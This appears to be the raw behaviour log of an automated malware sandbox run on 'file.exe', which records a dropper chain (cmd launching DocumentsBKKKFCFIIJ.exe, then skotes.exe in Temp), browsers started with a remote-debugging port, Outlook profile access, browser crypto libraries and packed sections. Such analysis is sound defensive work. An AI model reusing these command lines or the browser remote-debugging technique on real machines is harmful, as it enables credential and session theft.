Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2240,i,17622548424689427494,13859215189802063868,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6396 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6600 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBKKKFCFIIJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBKKKFCFIIJ.exe "C:\Users\user\DocumentsBKKKFCFIIJ.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5844 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBKKKFCFIIJ.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2088,i,5255872379599629951,10500991351914301352,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2240,i,17622548424689427494,13859215189802063868,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6396 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6600 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBKKKFCFIIJ.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5844 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBKKKFCFIIJ.exe "C:\Users\user\DocumentsBKKKFCFIIJ.exe"
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1837056 > 1048576

Source: file.exe

Static PE information: Raw size of oceaxpza is bigger than: 0x100000 < 0x1a6a00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2645217085.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2645217085.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.b70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;oceaxpza:EW;nyfxhtvv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;oceaxpza:EW;nyfxhtvv:EW;.taggant:EW;
Source: C:\Users\user\DocumentsBKKKFCFIIJ.exe	Unpacked PE file: 22.2.DocumentsBKKKFCFIIJ.exe.c40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ekxusscj:EW;vsobhekd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ekxusscj:EW;vsobhekd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.7d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ekxusscj:EW;vsobhekd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ekxusscj:EW;vsobhekd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.7d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ekxusscj:EW;vsobhekd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ekxusscj:EW;vsobhekd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.7d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ekxusscj:EW;vsobhekd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ekxusscj:EW;vsobhekd:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x1c2a22 should be: 0x1c1a41
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d2753 should be: 0x1cec9b
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: real checksum: 0x1d2753 should be: 0x1cec9b
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x1d2753 should be: 0x1cec9b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: oceaxpza
Source: file.exe	Static PE information: section name: nyfxhtvv
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: ekxusscj
Source: random[1].exe.0.dr	Static PE information: section name: vsobhekd
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: section name:
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: section name:
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: section name: ekxusscj
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: section name: vsobhekd
Source: DocumentsBKKKFCFIIJ.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: ekxusscj
Source: skotes.exe.22.dr	Static PE information: section name: vsobhekd
Source: skotes.exe.22.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B536 push ecx; ret		0_2_6C50B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_007ED91C push ecx; ret		26_2_007ED92F

Source: file.exe	Static PE information: section name: oceaxpza entropy: 7.954566767848571
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.974895002743912
